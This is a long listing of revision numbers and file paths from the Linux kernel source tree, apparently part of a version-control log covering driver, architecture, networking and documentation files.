1.17 linux/drivers/net/wavelan.p.h - 1.14 linux/drivers/net/wavelan.c - 1.25 linux/drivers/net/via-rhine.c - 1.35 linux/drivers/net/sunhme.c - 1.34 linux/drivers/net/smc-ultra32.c - 1.15 linux/drivers/net/smc-ultra.c - 1.20 linux/drivers/net/slip.c - 1.19 linux/drivers/net/sgiseeq.h - 1.6 linux/drivers/net/rcpci45.c - 1.23 linux/drivers/net/ppp_deflate.c - 1.8 linux/drivers/net/pcnet32.c - 1.33 linux/drivers/net/ni65.c - 1.12 linux/drivers/net/irda/w83977af_ir.c - 1.22 linux/drivers/net/irda/tekram.c - 1.9 linux/drivers/net/irda/irtty.c - 1.24 linux/drivers/net/irda/irport.c - 1.25 linux/drivers/net/irda/girbil.c - 1.11 linux/drivers/net/irda/actisys.c - 1.10 linux/drivers/net/irda/Makefile - 1.18 linux/drivers/net/irda/Config.in - 1.14 linux/drivers/net/hplance.c - 1.11 linux/drivers/net/hp100.c - 1.20 linux/drivers/net/hp-plus.c - 1.17 linux/drivers/net/hamradio/soundmodem/sm_wss.c - 1.8 linux/drivers/net/hamradio/soundmodem/sm_sbc.c - 1.7 linux/drivers/net/hamradio/scc.c - 1.25 linux/drivers/net/hamradio/baycom_epp.c - 1.20 linux/drivers/net/hamradio/Config.in - 1.7 linux/drivers/net/ewrk3.c - 1.22 linux/drivers/net/epic100.c - 1.29 linux/drivers/net/eexpress.c - 1.19 linux/drivers/net/eepro100.c - 1.42 linux/drivers/net/eepro.c - 1.24 linux/drivers/net/e2100.c - 1.17 linux/drivers/net/depca.c - 1.19 linux/drivers/net/de600.c - 1.17 linux/drivers/net/cs89x0.h - 1.7 linux/drivers/net/atarilance.c - 1.11 linux/drivers/net/at1700.c - 1.17 linux/drivers/net/acenic.h - 1.20 linux/drivers/net/acenic.c - 1.39 linux/drivers/net/Makefile - 1.51 linux/drivers/net/Config.in - 1.59 linux/drivers/net/7990.c - 1.7 linux/drivers/net/3c59x.c - 1.35 linux/drivers/net/3c509.c - 1.29 linux/drivers/net/3c505.c - 1.24 linux/drivers/net/3c503.c - 1.22 linux/drivers/macintosh/via-pmu.c - 1.20 linux/drivers/macintosh/via-cuda.c - 1.11 linux/drivers/macintosh/macio-adb.c - 1.7 linux/drivers/macintosh/adb.c - 1.15 linux/drivers/macintosh/Makefile - 1.12 linux/drivers/isdn/pcbit/drv.c - 1.14 linux/drivers/isdn/isdn_ppp.c - 1.23 linux/drivers/isdn/isdn_net.h - 1.12 linux/drivers/isdn/isdn_net.c - 1.28 linux/drivers/isdn/hisax/teles3.c - 1.14 linux/drivers/isdn/hisax/sedlbauer.c - 1.19 linux/drivers/isdn/hisax/niccy.c - 1.16 linux/drivers/isdn/hisax/netjet.c - 1.19 linux/drivers/isdn/hisax/ix1_micro.c - 1.12 linux/drivers/isdn/hisax/hisax.h - 1.24 linux/drivers/isdn/hisax/elsa.c - 1.17 linux/drivers/isdn/hisax/diva.c - 1.16 linux/drivers/isdn/hisax/config.c - 1.27 linux/drivers/isdn/hisax/asuscom.c - 1.15 linux/drivers/isdn/hisax/Makefile - 1.16 linux/drivers/isdn/Config.in - 1.22 linux/drivers/fc4/Config.in - 1.5 linux/drivers/dio/dio.c - 1.5 linux/drivers/dio/Makefile - 1.3 linux/drivers/char/wdt.c - 1.15 linux/drivers/char/vt.c - 1.24 linux/drivers/char/tty_ioctl.c - 1.6 linux/drivers/char/tty_io.c - 1.41 linux/drivers/char/tpqic02.c - 1.18 linux/drivers/char/synclink.c - 1.22 linux/drivers/char/stallion.c - 1.20 linux/drivers/char/softdog.c - 1.16 linux/drivers/char/serial167.c - 1.12 linux/drivers/char/serial.c - 1.58 linux/drivers/char/random.c - 1.24 linux/drivers/char/pcxx.c - 1.15 linux/drivers/char/pcwd.c - 1.18 linux/drivers/char/pc_keyb.c - 1.29 linux/drivers/char/nvram.c - 1.19 linux/drivers/char/joystick/Makefile - 1.9 linux/drivers/char/joystick/Config.in - 1.9 linux/drivers/char/ftape/lowlevel/ftape-calibr.c - 1.5 linux/drivers/char/ftape/Config.in - 1.6 linux/drivers/char/dn_keyb.c - 1.8 linux/drivers/char/cyclades.c - 1.22 linux/drivers/char/console.c - 1.28 linux/drivers/char/acquirewdt.c - 1.14 linux/drivers/char/Makefile - 1.56 linux/drivers/char/Config.in - 1.58 linux/drivers/char/ChangeLog - 1.4 linux/drivers/cdrom/cdu31a.c - 1.10 linux/drivers/cdrom/cdrom.c - 1.38 linux/drivers/block/xd.h - 1.9 linux/drivers/block/xd.c - 1.28 linux/drivers/block/rd.c - 1.45 linux/drivers/block/ps2esdi.c - 1.27 linux/drivers/block/paride/pseudo.h - 1.7 linux/drivers/block/paride/pf.c - 1.17 linux/drivers/block/paride/pd.c - 1.22 linux/drivers/block/paride/pcd.c - 1.14 linux/drivers/block/paride/paride.c - 1.12 linux/drivers/block/paride/epat.c - 1.7 linux/drivers/block/loop.c - 1.46 linux/drivers/block/ll_rw_blk.c - 1.84 linux/drivers/block/genhd.c - 1.25 linux/drivers/block/ataflop.c - 1.17 linux/drivers/block/acsi_slm.c - 1.10 linux/drivers/block/acsi.c - 1.21 linux/drivers/block/Config.in - 1.36 linux/drivers/acorn/scsi/Config.in - 1.5 linux/drivers/acorn/block/fd1772.c - 1.15 linux/drivers/Makefile - 1.29 linux/arch/sparc64/solaris/misc.c - 1.22 linux/arch/sparc64/prom/misc.c - 1.11 linux/arch/sparc64/mm/ultra.S - 1.25 linux/arch/sparc64/mm/init.c - 1.39 linux/arch/sparc64/mm/fault.c - 1.21 linux/arch/sparc64/lib/blockops.S - 1.16 linux/arch/sparc64/lib/VIScsum.S - 1.5 linux/arch/sparc64/lib/VIScopy.S - 1.8 linux/arch/sparc64/kernel/ttable.S - 1.13 linux/arch/sparc64/kernel/traps.c - 1.17 linux/arch/sparc64/kernel/trampoline.S - 1.11 linux/arch/sparc64/kernel/time.c - 1.19 linux/arch/sparc64/kernel/sys_sunos32.c - 1.34 linux/arch/sparc64/kernel/sys_sparc32.c - 1.45 linux/arch/sparc64/kernel/sparc64_ksyms.c - 1.39 linux/arch/sparc64/kernel/smp.c - 1.36 linux/arch/sparc64/kernel/setup.c - 1.27 linux/arch/sparc64/kernel/ptrace.c - 1.15 linux/arch/sparc64/kernel/process.c - 1.28 linux/arch/sparc64/kernel/irq.c - 1.23 linux/arch/sparc64/kernel/ioctl32.c - 1.51 linux/arch/sparc64/kernel/head.S - 1.16 linux/arch/sparc64/kernel/etrap.S - 1.7 linux/arch/sparc64/kernel/entry.S - 1.19 linux/arch/sparc64/kernel/dtlb_base.S - 1.13 linux/arch/sparc64/kernel/devices.c - 1.11 linux/arch/sparc64/kernel/cpu.c - 1.7 linux/arch/sparc64/defconfig - 1.59 linux/arch/sparc64/config.in - 1.49 linux/arch/sparc/mm/sun4c.c - 1.31 linux/arch/sparc/mm/srmmu.c - 1.30 linux/arch/sparc/mm/init.c - 1.30 linux/arch/sparc/mm/Makefile - 1.9 linux/arch/sparc/kernel/sys_sunos.c - 1.33 linux/arch/sparc/kernel/sparc_ksyms.c - 1.27 linux/arch/sparc/kernel/pcic.c - 1.19 linux/arch/sparc/kernel/devices.c - 1.5 linux/arch/sparc/config.in - 1.32 linux/arch/ppc/mm/fault.c - 1.18 linux/arch/ppc/lib/string.S - 1.9 linux/arch/ppc/lib/locks.c - 1.9 linux/arch/ppc/lib/checksum.S - 1.7 linux/arch/ppc/kernel/time.c - 1.19 linux/arch/ppc/kernel/signal.c - 1.15 linux/arch/ppc/kernel/setup.c - 1.41 linux/arch/ppc/kernel/residual.c - 1.10 linux/arch/ppc/kernel/ptrace.c - 1.14 linux/arch/ppc/kernel/prom.c - 1.30 linux/arch/ppc/kernel/prep_time.c - 1.8 linux/arch/ppc/kernel/prep_setup.c - 1.30 linux/arch/ppc/kernel/prep_pci.c - 1.16 linux/arch/ppc/kernel/prep_nvram.c - 1.9 linux/arch/ppc/kernel/ppc_ksyms.c - 1.41 linux/arch/ppc/kernel/ppc_asm.tmpl - 1.5 linux/arch/ppc/kernel/ppc8xx_pic.h - 1.6 linux/arch/ppc/kernel/pmac_time.c - 1.16 linux/arch/ppc/kernel/pmac_setup.c - 1.30 linux/arch/ppc/kernel/pmac_pic.h - 1.6 linux/arch/ppc/kernel/pmac_pic.c - 1.23 linux/arch/ppc/kernel/pmac_pci.c - 1.21 linux/arch/ppc/kernel/pci.c - 1.26 linux/arch/ppc/kernel/open_pic.h - 1.11 linux/arch/ppc/kernel/open_pic.c - 1.23 linux/arch/ppc/kernel/misc.S - 1.37 linux/arch/ppc/kernel/local_irq.h - 1.10 linux/arch/ppc/kernel/irq.c - 1.34 linux/arch/ppc/kernel/indirect_pci.c - 1.7 linux/arch/ppc/kernel/idle.c - 1.21 linux/arch/ppc/kernel/i8259.h - 1.5 linux/arch/ppc/kernel/i8259.c - 1.10 linux/arch/ppc/kernel/head.S - 1.33 linux/arch/ppc/kernel/chrp_time.c - 1.11 linux/arch/ppc/kernel/chrp_setup.c - 1.30 linux/arch/ppc/kernel/chrp_pci.c - 1.20 linux/arch/ppc/kernel/apus_setup.c - 1.22 linux/arch/ppc/kernel/Makefile - 1.28 linux/arch/ppc/defconfig - 1.38 linux/arch/ppc/config.in - 1.44 linux/arch/ppc/boot/Makefile - 1.18 linux/arch/ppc/amiga/time.c - 1.6 linux/arch/ppc/amiga/config.c - 1.15 linux/arch/ppc/amiga/cia.c - 1.6 linux/arch/ppc/amiga/amiints.c - 1.11 linux/arch/ppc/Makefile - 1.23 linux/arch/ppc/8xx_io/fec.c - 1.17 linux/arch/mips/tools/offset.c - 1.10 linux/arch/mips/tools/Makefile - 1.8 linux/arch/mips/sni/pci.c - 1.11 linux/arch/mips/mm/umap.c - 1.9 linux/arch/mips/mm/loadmmu.c - 1.11 linux/arch/mips/mm/init.c - 1.15 linux/arch/mips/mm/fault.c - 1.14 linux/arch/mips/mm/extable.c - 1.5 linux/arch/mips/mm/Makefile - 1.10 linux/arch/mips/lib/tinycon.c - 1.3 linux/arch/mips/lib/strlen_user.S - 1.7 linux/arch/mips/lib/memset.S - 1.7 linux/arch/mips/lib/memcpy.S - 1.10 linux/arch/mips/lib/ide-std.c - 1.6 linux/arch/mips/lib/ide-no.c - 1.6 linux/arch/mips/lib/floppy-std.c - 1.8 linux/arch/mips/lib/csum_partial_copy.c - 1.7 linux/arch/mips/lib/Makefile - 1.12 linux/arch/mips/kernel/unaligned.c - 1.10 linux/arch/mips/kernel/traps.c - 1.14 linux/arch/mips/kernel/time.c - 1.14 linux/arch/mips/kernel/sysmips.c - 1.10 linux/arch/mips/kernel/sysirix.c - 1.18 linux/arch/mips/kernel/syscalls.h - 1.13 linux/arch/mips/kernel/syscall.c - 1.12 linux/arch/mips/kernel/signal.c - 1.15 linux/arch/mips/kernel/setup.c - 1.15 linux/arch/mips/kernel/scall_o32.S - 1.12 linux/arch/mips/kernel/r4k_switch.S - 1.11 linux/arch/mips/kernel/ptrace.c - 1.15 linux/arch/mips/kernel/process.c - 1.15 linux/arch/mips/kernel/proc.c - 1.9 linux/arch/mips/kernel/pci.c - 1.9 linux/arch/mips/kernel/mips_ksyms.c - 1.15 linux/arch/mips/kernel/irq.c - 1.14 linux/arch/mips/kernel/irixsig.c - 1.11 linux/arch/mips/kernel/irixinv.c - 1.8 linux/arch/mips/kernel/irixelf.c - 1.17 linux/arch/mips/kernel/ipc.c - 1.4 linux/arch/mips/kernel/head.S - 1.13 linux/arch/mips/kernel/gdb-stub.c - 1.10 linux/arch/mips/kernel/gdb-low.S - 1.8 linux/arch/mips/kernel/entry.S - 1.11 linux/arch/mips/kernel/Makefile - 1.11 linux/arch/mips/defconfig - 1.24 linux/arch/mips/config.in - 1.27 linux/arch/mips/boot/Makefile - 1.9 linux/arch/mips/Makefile - 1.13 linux/arch/mips/.gdbinit - 1.3 linux/arch/m68k/sun3x/time.c - 1.6 linux/arch/m68k/sun3x/config.c - 1.5 linux/arch/m68k/q40/config.c - 1.12 linux/arch/m68k/mvme16x/config.c - 1.9 linux/arch/m68k/mvme147/config.c - 1.10 linux/arch/m68k/mm/fault.c - 1.11 linux/arch/m68k/mac/macints.c - 1.8 linux/arch/m68k/mac/debug.c - 1.9 linux/arch/m68k/mac/config.c - 1.10 linux/arch/m68k/kernel/traps.c - 1.12 linux/arch/m68k/kernel/setup.c - 1.15 linux/arch/m68k/kernel/head.S - 1.7 linux/arch/m68k/kernel/entry.S - 1.16 linux/arch/m68k/hp300/time.c - 1.5 linux/arch/m68k/hp300/ints.c - 1.5 linux/arch/m68k/hp300/hil.c - 1.4 linux/arch/m68k/hp300/config.c - 1.4 linux/arch/m68k/config.in - 1.25 linux/arch/m68k/bvme6000/rtc.c - 1.10 linux/arch/m68k/bvme6000/config.c - 1.9 linux/arch/m68k/atari/config.c - 1.7 linux/arch/m68k/atari/Makefile - 1.5 linux/arch/m68k/apollo/dn_ints.c - 1.6 linux/arch/m68k/apollo/config.c - 1.7 linux/arch/m68k/amiga/config.c - 1.12 linux/arch/i386/mm/init.c - 1.35 linux/arch/i386/mm/fault.c - 1.23 linux/arch/i386/mm/Makefile - 1.6 linux/arch/i386/lib/checksum.S - 1.5 linux/arch/i386/kernel/traps.c - 1.48 linux/arch/i386/kernel/trampoline.S - 1.5 linux/arch/i386/kernel/time.c - 1.20 linux/arch/i386/kernel/smp.c - 1.41 linux/arch/i386/kernel/setup.c - 1.67 linux/arch/i386/kernel/irq.c - 1.39 linux/arch/i386/kernel/io_apic.c - 1.36 linux/arch/i386/kernel/entry.S - 1.46 linux/arch/i386/kernel/apm.c - 1.41 linux/arch/i386/kernel/Makefile - 1.24 linux/arch/i386/defconfig - 1.88 linux/arch/i386/config.in - 1.73 linux/arch/i386/boot/compressed/misc.c - 1.15 linux/arch/i386/Makefile - 1.24 linux/arch/arm/mm/fault-common.c - 1.19 linux/arch/arm/config.in - 1.31 linux/arch/alpha/mm/fault.c - 1.15 linux/arch/alpha/lib/stxncpy.S - 1.4 linux/arch/alpha/kernel/traps.c - 1.19 linux/arch/alpha/config.in - 1.41 linux/Makefile - 1.179 linux/MAINTAINERS - 1.89 linux/Documentation/video4linux/bttv/README - 1.15 linux/Documentation/sysctl/vm.txt - 1.8 linux/Documentation/powerpc/00-INDEX - 1.4 linux/Documentation/networking/ewrk3.txt - 1.3 linux/Documentation/networking/00-INDEX - 1.6 linux/Documentation/isdn/README.HiSax - 1.12 linux/Documentation/initrd.txt - 1.4 linux/Documentation/ide.txt - 1.8 linux/Documentation/filesystems/isofs.txt - 1.3 linux/Documentation/filesystems/00-INDEX - 1.11 linux/Documentation/cdrom/sonycd535 - 1.3 linux/Documentation/Configure.help - 1.140 linux/Documentation/Changes - 1.46 linux/CREDITS - 1.73 linux/net/decnet/dn_route.c - 1.20 linux/net/decnet/af_decnet.c - 1.28 linux/include/linux/ide.h - 1.33 linux/fs/efs/super.c - 1.10 linux/drivers/usb/printer.c - 1.43 linux/drivers/usb/acm.c - 1.43 linux/drivers/sbus/char/aurora.c - 1.18 linux/drivers/net/irda/toshoboe.c - 1.28 linux/drivers/net/irda/smc-ircc.c - 1.23 linux/drivers/isdn/hisax/md5sums.asc - 1.18 linux/drivers/isdn/hisax/avm_pci.c - 1.14 linux/Documentation/kernel-parameters.txt - 1.16 linux/include/asm-mips/umap.h - 1.2 linux/include/asm-mips/semaphore-helper.h - 1.7 linux/include/asm-mips/ng1hw.h - 1.5 linux/include/asm-mips/dec/tcmodule.h - 1.4 linux/include/asm-mips/dec/tcinfo.h - 1.2 linux/include/asm-mips/dec/tc.h - 1.2 linux/include/asm-mips/dec/machtype.h - 1.3 linux/include/asm-mips/dec/kn03.h - 1.4 linux/include/asm-mips/dec/kn02xa.h - 1.4 linux/include/asm-mips/dec/kn02.h - 1.4 linux/include/asm-mips/dec/kn01.h - 1.3 linux/include/asm-mips/dec/ioasic_ints.h - 1.4 linux/include/asm-mips/dec/ioasic_addrs.h - 1.4 linux/include/asm-mips/dec/interrupts.h - 1.5 linux/drivers/tc/zs.h - 1.4 linux/drivers/tc/zs.c - 1.8 linux/drivers/tc/tc.c - 1.7 linux/drivers/sgi/char/usema.h - 1.2 linux/drivers/sgi/char/ds1286.c - 1.11 linux/drivers/sgi/Config.in - 1.5 linux/drivers/net/declance.c - 1.15 linux/arch/mips/dec/wbflush.c - 1.6 linux/arch/mips/dec/time.c - 1.8 linux/arch/mips/dec/setup.c - 1.7 linux/arch/mips/dec/rtc-dec.c - 1.5 linux/arch/mips/dec/promcon.c - 1.5 linux/arch/mips/dec/prom/prom.h - 1.2 linux/arch/mips/dec/prom/init.c - 1.6 linux/arch/mips/dec/prom/identify.c - 1.6 linux/arch/mips/dec/irq.c - 1.9 linux/arch/mips/dec/int-handler.S - 1.5 linux/arch/mips/dec/Makefile - 1.6 linux/arch/mips/boot/elf2ecoff.c - 1.5 linux/arch/mips/boot/addinitrd.c - 1.3 linux/arch/mips/arc/salone.c - 1.6 linux/arch/mips/arc/memory.c - 1.11 linux/arch/mips/arc/init.c - 1.9 linux/arch/mips/arc/identify.c - 1.8 linux/arch/mips/arc/console.c - 1.9 linux/arch/mips/arc/cmdline.c - 1.8 linux/arch/mips/arc/Makefile - 1.6 linux/drivers/block/cpqarray.h - 1.8 linux/drivers/block/cpqarray.c - 1.37 linux/fs/iobuf.c - 1.22 linux/drivers/parport/parport_pc.c - 1.47 linux/drivers/parport/parport_mfc3.c - 1.10 linux/drivers/parport/init.c - 1.12 linux/include/linux/iobuf.h - 1.15 linux/drivers/net/ppp_generic.c - 1.27 linux/drivers/net/macsonic.c - 1.12 linux/drivers/net/hamradio/yam.c - 1.19 linux/drivers/char/sx.c - 1.25 linux/drivers/char/q40_keyb.c - 1.8 linux/drivers/char/generic_serial.c - 1.14 linux/net/khttpd/waitheaders.c - 1.7 linux/net/khttpd/sysctl.h - 1.2 linux/net/khttpd/sysctl.c - 1.4 linux/net/khttpd/security.c - 1.9 linux/net/khttpd/main.c - 1.10 linux/net/khttpd/README - 1.3 linux/fs/partitions/sun.c - 1.5 linux/fs/partitions/msdos.c - 1.19 linux/fs/partitions/check.c - 1.37 linux/fs/partitions/Makefile - 1.9 linux/fs/partitions/Config.in - 1.15 linux/drivers/video/vga.h - 1.5 linux/drivers/scsi/sun3x_esp.c - 1.7 linux/drivers/pnp/isapnp_proc.c - 1.14 linux/drivers/pnp/isapnp.c - 1.26 linux/drivers/isdn/hisax/isurf.c - 1.12 linux/drivers/isdn/hisax/hfcscard.c - 1.10 linux/drivers/isdn/avmb1/kcapi.c - 1.18 linux/Documentation/isapnp.txt - 1.6 linux/drivers/net/sis900.c - 1.32 linux/drivers/net/sb1000.c - 1.16 linux/drivers/char/ip2main.c - 1.15 linux/drivers/atm/atmtcp.c - 1.9 linux/arch/i386/kernel/semaphore.c - 1.17 linux/net/atm/resources.c - 1.7 linux/net/atm/proc.c - 1.14 linux/arch/ppc/kernel/ppc_asm.h - 1.11 linux/arch/ppc/kernel/head_8xx.S - 1.16 linux/arch/ppc/kernel/gemini_setup.c - 1.21 linux/arch/ppc/kernel/gemini_prom.S - 1.7 linux/arch/ppc/kernel/gemini_pci.c - 1.9 linux/arch/ppc/kernel/entry.S - 1.25 linux/arch/arm/kernel/bios32.c - 1.26 linux/arch/alpha/kernel/pci.c - 1.19 linux/drivers/block/DAC960.c - 1.40 linux/arch/sparc64/kernel/power.c - 1.9 linux/arch/sparc64/kernel/pci.c - 1.24 linux/arch/sh/mm/fault.c - 1.19 linux/arch/sh/config.in - 1.21 linux/drivers/scsi/ips.h - 1.12 linux/drivers/scsi/ips.c - 1.25 linux/net/irda/ircomm/ircomm_tty_ioctl.c - 1.7 linux/net/irda/ircomm/ircomm_tty_attach.c - 1.9 linux/net/irda/ircomm/ircomm_tty.c - 1.15 linux/include/net/irda/ircomm_tty.h - 1.8 linux/include/asm-sh/timex.h - 1.4 linux/include/asm-sh/termios.h - 1.7 linux/include/asm-sh/socket.h - 1.7 linux/include/asm-sh/semaphore.h - 1.7 linux/include/asm-ppc/gemini_serial.h - 1.8 linux/include/asm-ppc/gemini.h - 1.6 linux/include/asm-i386/kmap_types.h - 1.6 linux/drivers/pcmcia/tcic.c - 1.14 linux/drivers/pcmcia/ricoh.h - 1.7 linux/drivers/pcmcia/o2micro.h - 1.5 linux/drivers/pcmcia/i82365.h - 1.4 linux/drivers/pcmcia/i82365.c - 1.23 linux/drivers/pcmcia/cirrus.h - 1.4 linux/drivers/pcmcia/cardbus.c - 1.19 linux/drivers/pcmcia/bulkmem.c - 1.15 linux/drivers/net/sun3lance.c - 1.12 linux/arch/m68k/sun3/sun3ints.c - 1.5 linux/arch/m68k/sun3/sbus.c - 1.4 linux/arch/m68k/sun3/mmu_emu.c - 1.5 linux/arch/m68k/sun3/config.c - 1.7 linux/drivers/pcmcia/tcic.h - 1.4 linux/drivers/pcmcia/ti113x.h - 1.8 linux/drivers/pcmcia/topic.h - 1.3 linux/include/asm-m68k/mac_via.h - 1.2 linux/drivers/pcmcia/vg468.h - 1.4 linux/include/linux/spinlock.h - 1.13 linux/include/asm-sparc/pci.h - 1.12 linux/include/asm-ppc/pci.h - 1.15 linux/drivers/net/pcmcia/ray_cs.c - 1.24 linux/drivers/net/pcmcia/pcnet_cs.c - 1.18 linux/drivers/char/drm/gamma_dma.c - 1.9 linux/drivers/char/drm/drmP.h - 1.16 linux/drivers/char/drm/drm.h - 1.10 linux/drivers/char/drm/Makefile - 1.14 linux/Documentation/filesystems/proc.txt - 1.9 linux/drivers/net/wan/cycx_drv.c - 1.7 linux/drivers/net/wan/cosa.c - 1.23 linux/drivers/net/wan/Config.in - 1.14 linux/drivers/net/tokenring/olympic.h - 1.10 linux/drivers/net/tokenring/olympic.c - 1.19 linux/arch/ppc/kernel/sleep.S - 1.8 linux/arch/ppc/kernel/qspan_pci.c - 1.6 linux/arch/ppc/kernel/m8xx_setup.c - 1.22 linux/arch/i386/kernel/smpboot.c - 1.29 linux/arch/i386/kernel/pci-visws.c - 1.7 linux/arch/i386/kernel/pci-pc.c - 1.34 linux/arch/i386/kernel/pci-i386.h - 1.8 linux/arch/i386/kernel/pci-i386.c - 1.18 linux/include/linux/pci_ids.h - 1.61 linux/drivers/net/wan/syncppp.c - 1.14 linux/drivers/net/wan/sdlamain.c - 1.11 linux/include/asm-ppc/rpxlite.h - 1.5 linux/drivers/net/wan/sdla.c - 1.14 linux/drivers/net/wan/sbni.c - 1.17 linux/drivers/net/wan/cycx_x25.c - 1.16 linux/include/asm-ppc/bseip.h - 1.4 linux/include/asm-ppc/rpxclassic.h - 1.7 linux/include/asm-ppc/mpc8xx.h - 1.8 linux/drivers/scsi/dec_esp.c - 1.7 linux/drivers/scsi/ChangeLog.ips - 1.6 linux/drivers/net/pcmcia/xirc2ps_cs.c - 1.17 linux/drivers/net/pcmcia/3c574_cs.c - 1.19 linux/drivers/net/pcmcia/nmclan_cs.c - 1.16 linux/drivers/net/pcmcia/fmvj18x_cs.c - 1.17 linux/drivers/net/pcmcia/wavelan_cs.h - 1.10 linux/drivers/net/pcmcia/wavelan_cs.c - 1.14 linux/drivers/net/pcmcia/wavelan.h - 1.3 linux/drivers/net/pcmcia/smc91c92_cs.c - 1.16 linux/mm/highmem.c - 1.30 linux/mm/bootmem.c - 1.19 linux/include/linux/highmem.h - 1.18 linux/include/linux/bootmem.h - 1.8 linux/include/asm-i386/pgtable-3level.h - 1.8 linux/include/asm-i386/pgtable-2level.h - 1.8 linux/drivers/video/aty128fb.c - 1.26 linux/include/asm-sh/pgtable-2level.h - 1.8 linux/fs/proc/proc_misc.c - 1.31 linux/ipc/util.h - 1.8 linux/drivers/net/sis900.h - 1.13 linux/drivers/char/pcmcia/Makefile - 1.5 linux/drivers/char/pcmcia/Config.in - 1.7 linux/drivers/pci/pci.ids - 1.44 linux/drivers/net/sk98lin/skge.c - 1.20 linux/arch/ppc/kernel/pmac_nvram.c - 1.12 linux/arch/ppc/kernel/oak_setup.h - 1.5 linux/arch/ppc/kernel/oak_setup.c - 1.10 linux/arch/ppc/kernel/head_4xx.S - 1.6 linux/arch/ppc/configs/walnut_defconfig - 1.17 linux/arch/ppc/configs/pmac_defconfig - 1.6 linux/arch/ppc/configs/oak_defconfig - 1.17 linux/arch/ppc/configs/mbx_defconfig - 1.12 linux/arch/ppc/configs/gemini_defconfig - 1.20 linux/arch/ppc/configs/common_defconfig - 1.26 linux/arch/ppc/configs/apus_defconfig - 1.13 linux/include/linux/mmzone.h - 1.19 linux/include/asm-ppc/oak.h - 1.7 linux/include/asm-ppc/board.h - 1.5 linux/drivers/sound/trident.h - 1.15 linux/drivers/sound/trident.c - 1.35 linux/include/linux/agp_backend.h - 1.18 linux/drivers/net/pcmcia/aironet4500_cs.c - 1.14 linux/drivers/net/aironet4500_rid.c - 1.4 linux/kernel/timer.c - 1.16 linux/drivers/scsi/scsi_merge.c - 1.32 linux/drivers/scsi/scsi_lib.c - 1.37 linux/drivers/char/agp/agpgart_be.c - 1.35 linux/drivers/char/agp/agp.h - 1.24 linux/drivers/i2c/i2c-dev.c - 1.14 linux/drivers/i2c/i2c-core.c - 1.15 linux/drivers/usb/dabusb.h - 1.7 linux/drivers/usb/dabusb.c - 1.15 linux/Documentation/video4linux/bttv/CARDLIST - 1.14 linux/Documentation/video4linux/bttv/Insmod-options - 1.13 linux/include/asm-ppc/hw_irq.h - 1.7 linux/fs/cramfs/uncompress.c - 1.6 linux/drivers/usb/scanner.c - 1.26 linux/include/linux/input.h - 1.16 linux/drivers/usb/usbkbd.c - 1.20 linux/drivers/usb/ov511.h - 1.14 linux/drivers/usb/ov511.c - 1.29 linux/drivers/usb/hid.h - 1.16 linux/drivers/telephony/ixj.c - 1.22 linux/drivers/net/arcnet/arcnet.c - 1.13 linux/Documentation/usb/ov511.txt - 1.16 linux/net/sched/sch_ingress.c - 1.10 linux/include/net/dsfield.h - 1.4 linux/drivers/usb/devices.c - 1.17 linux/drivers/usb/devio.c - 1.21 linux/arch/ppc/kernel/ppc4xx_pic.c - 1.4 linux/arch/ppc/kernel/ppc4xx_pic.h - 1.4 linux/drivers/usb/inode.c - 1.18 linux/drivers/ieee1394/raw1394.c - 1.17 linux/drivers/ieee1394/ieee1394_core.h - 1.13 linux/drivers/ieee1394/pcilynx.h - 1.10 linux/drivers/ieee1394/pcilynx.c - 1.20 linux/drivers/ieee1394/ieee1394_core.c - 1.21 linux/drivers/ieee1394/ohci1394.h - 1.15 linux/drivers/ieee1394/ohci1394.c - 1.23 linux/arch/i386/kernel/apic.c - 1.25 linux/drivers/ieee1394/hosts.h - 1.10 linux/drivers/ieee1394/hosts.c - 1.14 linux/arch/i386/kernel/mpparse.c - 1.16 linux/drivers/ieee1394/csr.c - 1.9 linux/drivers/char/mxser.c - 1.16 linux/drivers/ieee1394/highlevel.c - 1.8 linux/include/asm-i386/apicdef.h - 1.8 linux/drivers/pci/setup-res.c - 1.9 linux/drivers/pci/setup-bus.c - 1.6 linux/drivers/scsi/scsi_scan.c - 1.26 linux/drivers/scsi/3w-xxxx.h - 1.11 linux/drivers/scsi/3w-xxxx.c - 1.18 linux/drivers/net/wan/sdla_chdlc.c - 1.16 linux/drivers/char/mixcomwd.c - 1.9 linux/arch/i386/kernel/pci-dma.c - 1.3 linux/include/asm-m68k/pci.h - 1.5 linux/include/asm-m68k/apollodma.h - 1.2 linux/drivers/usb/usb-uhci.h - 1.11 linux/drivers/usb/usb-uhci.c - 1.38 linux/drivers/usb/usb-ohci.h - 1.16 linux/drivers/usb/usb-ohci.c - 1.34 linux/drivers/usb/scanner.h - 1.19 linux/drivers/sound/ac97_codec.c - 1.24 linux/drivers/net/irda/nsc-ircc.c - 1.19 linux/drivers/net/mac89x0.c - 1.9 linux/drivers/net/macmace.c - 1.6 linux/drivers/char/efirtc.c - 1.9 linux/arch/ia64/kernel/head.S - 1.11 linux/arch/ia64/kernel/gate.S - 1.10 linux/drivers/atm/iphase.c - 1.13 linux/arch/ia64/kernel/fw-emu.c - 1.9 linux/arch/ia64/kernel/entry.S - 1.22 linux/arch/ia64/kernel/efi_stub.S - 1.5 linux/arch/ia64/kernel/efi.c - 1.14 linux/arch/ia64/kernel/acpi.c - 1.12 linux/arch/ia64/kernel/Makefile - 1.13 linux/drivers/acorn/char/pcf8583.c - 1.5 linux/arch/ia64/ia32/binfmt_elf32.c - 1.14 linux/arch/ppc/kernel/walnut_setup.h - 1.3 linux/arch/ppc/kernel/walnut_setup.c - 1.7 linux/arch/ia64/hp/hpsim_ssc.h - 1.2 linux/arch/ia64/hp/hpsim_setup.c - 1.5 linux/arch/ia64/hp/hpsim_machvec.c - 1.3 linux/arch/ia64/hp/hpsim_irq.c - 1.5 linux/arch/ia64/hp/hpsim_console.c - 1.4 linux/arch/ia64/hp/Makefile - 1.4 linux/arch/ia64/dig/setup.c - 1.7 linux/arch/ppc/kernel/galaxy_pci.c - 1.4 linux/arch/ia64/vmlinux.lds.S - 1.9 linux/arch/ia64/tools/print_offsets.c - 1.10 linux/arch/ia64/defconfig - 1.13 linux/arch/ia64/config.in - 1.22 linux/arch/ia64/boot/Makefile - 1.5 linux/arch/ia64/Makefile - 1.12 linux/arch/ia64/kernel/irq.c - 1.16 linux/arch/ia64/tools/Makefile - 1.7 linux/arch/ia64/kernel/setup.c - 1.13 linux/arch/ia64/kernel/signal.c - 1.12 linux/arch/ia64/kernel/smp.c - 1.12 linux/arch/ia64/kernel/sys_ia64.c - 1.10 linux/arch/ia64/kernel/time.c - 1.13 linux/arch/ia64/kernel/traps.c - 1.13 linux/arch/ia64/kernel/unaligned.c - 1.11 linux/arch/ia64/kernel/unwind.c - 1.11 linux/arch/ia64/lib/Makefile - 1.9 